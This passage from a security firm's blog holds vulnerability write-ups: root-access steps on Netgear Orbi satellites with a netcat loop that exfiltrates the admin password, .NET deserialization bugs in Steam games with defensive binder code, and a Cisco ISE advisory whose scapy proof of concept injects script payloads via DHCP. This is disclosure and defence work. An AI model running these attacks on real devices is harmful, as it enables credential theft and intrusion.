uid=0(root) gid=0(root) groups=0(root)
Using these exploits, you can gain root access on any Orbi Mesh satellite. Of course, it can be tedious to pwn every single satellite one by one. Instead, let's just get the central Orbi AP/Router root password, which is conveniently available on each satellite:
- Change admin password of Netgear Orbi Mesh satellite.
- Enable telnet access on satellite.
- Login as root via telnet.
- Get original root/admin password of the whole Netgear Orbi WiFi Mesh network:
while [ 1 ]; do config show | grep http_passwd | nc
6666; sleep 5; done &
Why? Netgear decided to sync the AP/Router config to satellites periodically. In clear-text via HTTP. This means: Waiting for the original admin password to be synced from AP/Router to satellites is a matter of minutes.
Conclusion
There are quite a few bonus levels and easter eggs hidden in Netgear's WiFi Mesh implementation. We found some, and wrote them down in more detail here. I'm confident that this is only the tip of an iceberg. The current fix implemented by Netgear on April 25th actually prevents me from pwning the system within minutes, but it does not prevent an attacker from pwning it within days or weeks. By merely hiding a new or additional authentication method, Netgear did not fix the root of all evil: the basic stuff.
As of May, 18th 2020, Netgear did not implement well-established cryptographic methods to ensure the confidentiality, authenticity and integrity of their business/pro wireless network configuration.
!Shouts
If you participate in Netgear's bug bounty program, you are prohibited from publicly disclosing vulnerabilities. This is wrong and against the interest of Netgear's own customers.
I encourage you not to participate in their bug bounty program until this is fixed.
As you can see in the timeline of our advisory, Netgear does not care to give you any feedback about your disclosure. Instead, like in our case, they silently pushed updates without notifying us. Also, the vulnerabilities were not even mentioned in their firmware release notes for SRR60 or SRS60.
Needless to say, we were never mentioned, let alone thanked, either.
2020-04-17
Deserialization Attacks in .Net Games
Today many games are developed using .Net or a modified .Net Runtime like the Unity engine. This of course means that deserialization vulnerabilities in .Net can also occur in these games.
Serialization functionality seems to mainly be used to store save games. Less frequent uses include user generated content or network transfer of information.
We've discovered several such vulnerabilities in games using our own tooling and will elaborate on a few of them as well as common patterns and pitfalls as well as mitigations here.
It goes without saying that all of the vulnerabilities discussed below have already been fixed.
Tooling and Approach
To find potential deserialization vulnerabilities we used our own NetGadget tool, which we plan to release in the near future.
To interactively analyze vulnerabilities and debug potential exploits we used dnSpy which is an amazing .Net decompiler, analyzer and debugger.
As a test for the NetGadget tool we scanned a complete Steam Library for usage of BinaryFormatter, as a potential sink for a deserialization attack, as seen in Figure 1
Our tool scans any .dll or .exe file it encounters for a method call matching the pattern given by the -m parameter and stores the information about them in one file per dll or exe.
Since we are looking for vulnerabilities in games, the Assembly-CSharp.dll files, which are where Unity stores a game's custom code, are of particular interest and are highlighted below.
Each of the generated output files contains information about which functions were called and from where.
Of particular interest are of course calls to BinaryFormatter::Deserialize, since they are potential sinks for a deserialization attack.
When a game using BinaryFormatter is discovered, we need to check for deserialization gadgets within it.
Because Unity for instance only loads DLLs included in the games folders, it is necessary to verify which gadgets actually exist since not all known gadgets for that .Net version may be available.
Using NetGadget this process can be significantly sped up, since it can automatically scan for the existance of such gadgets.
Figure 4 for example shows a scan of the game Dragon Cliff. It uses BinaryFormatter insecurely, but the only potential gadget chain our tool reports is a false positive. This particular false positive generally shows up when .Net 2.0 is being used and gives a good indication that no gadget chains are available.
If you compare this to Figure 5, the scan of Tabletop Simulator, a lot more gadget candidates are shown, among them some well known gadget chains, like TempFileCollection or TypeConfuseDelegate1.
Once a potential entry point and the existence of deserialization gadgets have been confirmed, as a next step the potential entry points and their call trees need to be evaluated manually with dnSpy or a similiar tool.
This approach has proved efficient in quickly reducing the number of games potentially vulnerable to .Net deserialization attacks. The scanned steam library contained around 400 games (not all of them made in .Net). Eventually around 30 vulnerable games were identified of which 14 were exploitable.
Deserialization Attacks in Totally Accurate Battle Simulator
We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.
Where is serialization used
Totally Accurate Battle Simulator by Landfall Games is a sandbox game that simulates battles with ragdoll physics.
BinaryFormatter is used to let Players build custom battles and campaigns and to share them over the Steam Workshop
NetGadget flagged the following methods as using the call to BinaryFormatter::Deserialize
This leads to two distinct vulnerabilities. One involves the loading of save games and affects the last two functions, the other involves the loading of custom campaigns and battles and affects the first three.
Save Game Vulnerability
This vulnerability is short and sweet.
Since OnRemoteStorageFileReadAsyncComplete will eventually also call ReadLocal, it's enough to investigate what is required to exploit ReadLocal.
ReadLocal simply reads all bytes of the save file and deserializes them with BinaryFormatter. Thus it's enough to overwrite the save file to trigger a deserialization vulnerability.
After replacing the save game with a TypeConfuseDelegate payload and starting the game, we see Figure 6 - Success!
Workshop Vulnerability
This vulnerability is a little more involved, but can be used remotely through the Steam Workshop. Due to the nature of the workshop this vulnerability was only tested locally to prevent the accidental spread of the exploit.
The loading of a faction, campaign or layout from disk will deserialize the associated data. All of those functions are internally called either when a mod is already installed and is being loaded or through a custom content loader's LoadLocalCustomContent method.
Depending on the type of the content, it will invoke either of the vulnerable functions. The LoadLocalCustomContent itself is only called by the content loader's QuickRefresh method.
The QuickRefresh method is called from a lot of different sections in code, most interestingly by OnDownloadSuccess and OnSubSuccess as well as the onModBinaryInstalled callback.
This means that after a mod has been downloaded it will immediately be deserialized, allowing an attacker to trigger the vulnerability by uploading a mod to the Steam Workshop
Deserialization Attacks in Tabletop Simulator
We will refrain from using screenshots of code that isn't ours. For this reason the following explanations of the details of certain vulnerabilities will discuss the control flow and function names, but not the details of the code in question.
Where is Serialization Used
Tabletop Simulator by Berserk Games is a multiplayer physics sandbox that allows players to create and play tabletop games remotely.
In order to facilitate the exchange of games and the storing of table states the game employs two different methods of serialization: Newtonsofts' JsonSerializer and BinaryFormatter. The vulnerabilities we've found lie in the parts of the code that use BinaryFormatter.
BinaryFormatter is used to load what the code refers to as a PhysicsState.
The deserialization of such a physics state can either be triggered over the network through the LoadPromotedPhysicsState RPC call or through the loading of a mod that isn't in JSON format.
The RPC Vulnerability
Tabletop Simulator has an RPC mechanism that is, among other things, used to administrate a game host remotely.
One of these administrative functions is LoadPromotedPhysicsState.
It gets passed an array of bytes which are then used to call GetPhysicsState, which in turn calls BinaryFormatter::Deserialize with the data.
To call this function two criteria need to be met.
Requiring administrative privileges on a server to exploit the host seems restrictive at first.
A server's host can however migrate the hosting of the game to another client on the server. This causes two main changes in user roles in the game.
This allows a deserialization attack to be performed which can execute arbitrary code remotely.
The following video demonstrates this attack from the victims perspective.
The Mod Vulnerability
In Tabletop Simulator users can upload their table setups and scripts into the Steam Workshop to share them with the community. These mods can be subscribed to and downloaded to use by any player. When a mod has finished downloading it will eventually be deserialized.
When the download from the Steam Workshop has completed the CallResultWorkshopReadDownload callback method will be invoked.
This method in turn calls SerializationScript::Save which attempts to load the file contents with the GetPhysicsState method first and the JSON Serializer second.
GetPhysicsState then invokes BinaryFormatter::Deserialize.
A malicious attacker is able to upload a mod that will execute arbitrary code when deserialized, potentially allowing it to spread through the Steam Workshop.
Mitigations
In its default configuration BinaryFormatter in .Net is insecure. Several well known gadget chains exist that can be easily used to gain arbitrary code execution.
BinaryFormatter does however allow the definition of a Binder class which handles the resolution of types used in the Serialization and Deserialization processes.
Using such a Binder, whitelisting of expected types can be facilitated with relative ease, providing resilience against deserialization gadgets. This method was used to fix all of the vulnerabilities mentioned above. Following is an example Binder that allows the restriction of deserialized types to those required to deserialize the generic type T. It is provided under the GNU All-permissive license.
/*Copyright 2020, Nils Ole Timm - modzero
Copying and distribution of this file, with or without modification,
are permitted in any medium without royalty,
provided the copyright notice and this notice are preserved.
This file is offered as-is, without any warranty.*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Collections;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters;
namespace StronglyTypedSerializationBinder
{
//A binder can control which types are used in deserialization
//This binder only allows the deserialization of objects of the expected type
//and its member fields
public class StronglyTypedBinder<T> : SerializationBinder
{
//This function is called when the deserialization needs to find the runtime type
//associated with the stored type of the serialized data
public override Type BindToType(string assemblyName, string typeName)
{
Type type;
//Compute the allowed types for this deserialization binder if they haven't already
//been computed
if (allowedTypes.Count == 0)
{
ComputeAllowedTypes();
}
if (allowedTypes.TryGetValue(typeName, out type))
return type;
//If the type isn't found return typeof(object) to cause harmless default behaviour
return typeof(object);
}
//Calculate which types should be allowed for type T
private void ComputeAllowedTypes()
{
Type baseType = typeof(T);
//Add base type and types of fields and their fields recursively up to maximum depth
AddAllowedTypesRecursive(baseType, 0);
}
//Recursively add types of fields to list
private void AddAllowedTypesRecursive(Type t, int depth)
{
//Stop when maximum depth of recursion is reached
if (depth > MAX_RECURSIONS)
return;
//Add base type if not already added
if (!allowedTypes.ContainsKey(t.FullName))
allowedTypes.Add(t.FullName, t);
//If type is primitive no need to recurse further
if (t.IsPrimitive)
return;
//If type is generic, handle fields and generic parameters and do special handling of Dictionary
else if (t.IsGenericType)
{
Type[] genericArguments = t.GetGenericArguments();
foreach (Type t2 in genericArguments)
AddAllowedTypesRecursive(t2, depth + 1);
foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
{
AddAllowedTypesRecursive(fi.FieldType, depth + 1);
}
if(t.GetGenericTypeDefinition() == typeof(Dictionary<,>))
{
AddAllowedTypesRecursive(Type.GetType("System.Collections.Generic.GenericEqualityComparer`1").MakeGenericType(t.GetGenericArguments()[0]), MAX_RECURSIONS);
AddAllowedTypesRecursive(typeof(KeyValuePair<,>).MakeGenericType(genericArguments), MAX_RECURSIONS);
}
}
//If type is an array add the type of the element
else if (t.IsArray)
{
AddAllowedTypesRecursive(t.GetElementType(), depth + 1);
}
//In all other cases add the types of all fields
else foreach (FieldInfo fi in t.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic))
{
AddAllowedTypesRecursive(fi.FieldType, depth + 1);
}
}
static Dictionary<string, Type> allowedTypes = new Dictionary<string, Type>();
const int MAX_RECURSIONS = 4;
}
}
2020-02-19
More security brings more insecurity
modzero found a vulnerability in the Cisco Identity Services Engine (ISE) environment, which allows arbitrary participients of a network to inject arbitrary JavaScript payload right into the administrative webpage of the Cisco ISE administration interface.
CISCO ISE is considered to enhance the overall network security, by limiting access to local area networks. Arbitrary users using DHCP as a yet anonymous participent are able to exploit weaknesses in Cisco's administrative interfaces and thus by-pass the increased security level:The hostname and the vendor_class_id options of any DHCP request can be abused to inject malicious payload to execute code in the context of the browser of the administator, connecting to the Web interface. Further details and a PoC are available in our advisory.
Direct Link: https://www.modzero.com/advisories/MZ-19-03-CISCO-ISE.txt
----------------------------------------------------[MZ-19-03]----v1.2-- modzero Security Advisory: Unauthenticated persistent cross-site scripting injection into the administrative console of CISCO ISE web application via DHCP request ------------------------------------------------------------------------ ------------------------------------------------------------------------ 1. Timeline ------------------------------------------------------------------------ * 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com * 2019-11-22: PSIRT opened case (PSIRT-0535851956) * 2019-11-22: PSIRT communicated tentative publishing date '2020-02-19' * 2020-02-12: PSIRT incident manager confirmed reproduceability * 2020-02-12: Received an unofficial CVE Number CVE-2020-3156 * 2020-02-19: modzero released advisory to the public In accordance with modzero's disclosure policy, the advisory is expected to be published not later than February 21st, 2020. Our disclosure policy is available at: https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf ------------------------------------------------------------------------ 2. About ------------------------------------------------------------------------ Affected vendor: Cisco Latest known to be vulnerable version products: * Cisco Identity Services Engine version 2.6.0.156, Patch 2,3 - Product Identifier: SNS-3655-K9 - Version Identifier A0 - ADE-OS Version 3.0.5.144 The Cisco Identity Services Engine is the engine behind Cisco's Network Access Control solution. It enables the creation and enforcement of security and access policies for endpoint devices connected to the company's routers and switches. ------------------------------------------------------------------------ 3. Details ------------------------------------------------------------------------ An unauthenticated attacker who is able to inject a specially crafted DHCP request packet into the network controlled by Cisco Identify Service Engine (ISE), is able to persistently store code (e. g. JavaScript), which is executed in the context of the Web-browser accessing the Web-based management interface. The vulnerability is due to insufficient validation and encoding of the attacker-controllable input within the hostname and vendor class identifier field of processed DHCP request packets. The attacker-controlled code will be executed in the context of the user of the Web-based management console. If a legitimate user is reviewing an Endpoint's attributes within the Identity Services Engine's Web- based-management-interface. The attacker-controlled code will be executed in the context of the user that is currently logged in to the Web-based management console, when the endpoint attribute details are reviewed by opening the following URL: https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails ------------------------------------------------------------------------ 4. Impact ------------------------------------------------------------------------ The code will be executed with the rights of the user accessing the Web- based management console. If the user has administrative rights, the attacker might be able to leverage arbitrary functions of the Web-based management interface. ------------------------------------------------------------------------ 5. Proof of Concept exploit ------------------------------------------------------------------------ Using the following python script, two simple JavaScript code fragments will be sent in the hostname and vendor class identifier fields of the DHCP request. #!/usr/bin/env python from scapy.all import * import scapy conf.iface = "eth0" hostname_payload = "<script>alert('hostname payload')</script>" vendor_class_id_payload = "<script>alert('v class id payload')</script>" _, hw = get_if_raw_hwaddr(conf.iface) ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800) ip = IP(src ='0.0.0.0', dst='255.255.255.255') udp = UDP (sport=68, dport=67) bootp = BOOTP(op=1, chaddr=hw) dhcp = DHCP(options=[("message-type","request"), \ ("hostname",hostname_payload),("vendor_class_id", \ vendor_class_id_payload),('end')]) packet = ethernet / ip / udp / bootp / dhcp sendp(packet, iface=conf.iface) Once a person reviews the attributes of an endpoint within the ISE web- based management interface the code will be executed. ------------------------------------------------------------------------ 6. Workaround ------------------------------------------------------------------------ - ------------------------------------------------------------------------ 7. Fix ------------------------------------------------------------------------ No software updates are available yet. ------------------------------------------------------------------------ 8. Credits ------------------------------------------------------------------------ * Max Moser * Katharina Maennle ------------------------------------------------------------------------ 9. About modzero ------------------------------------------------------------------------ The independent company modzero assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. Website: https://www.modzero.ch E-Mail: contact@modzero.ch ------------------------------------------------------------------------ 10. Disclaimer ------------------------------------------------------------------------ The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.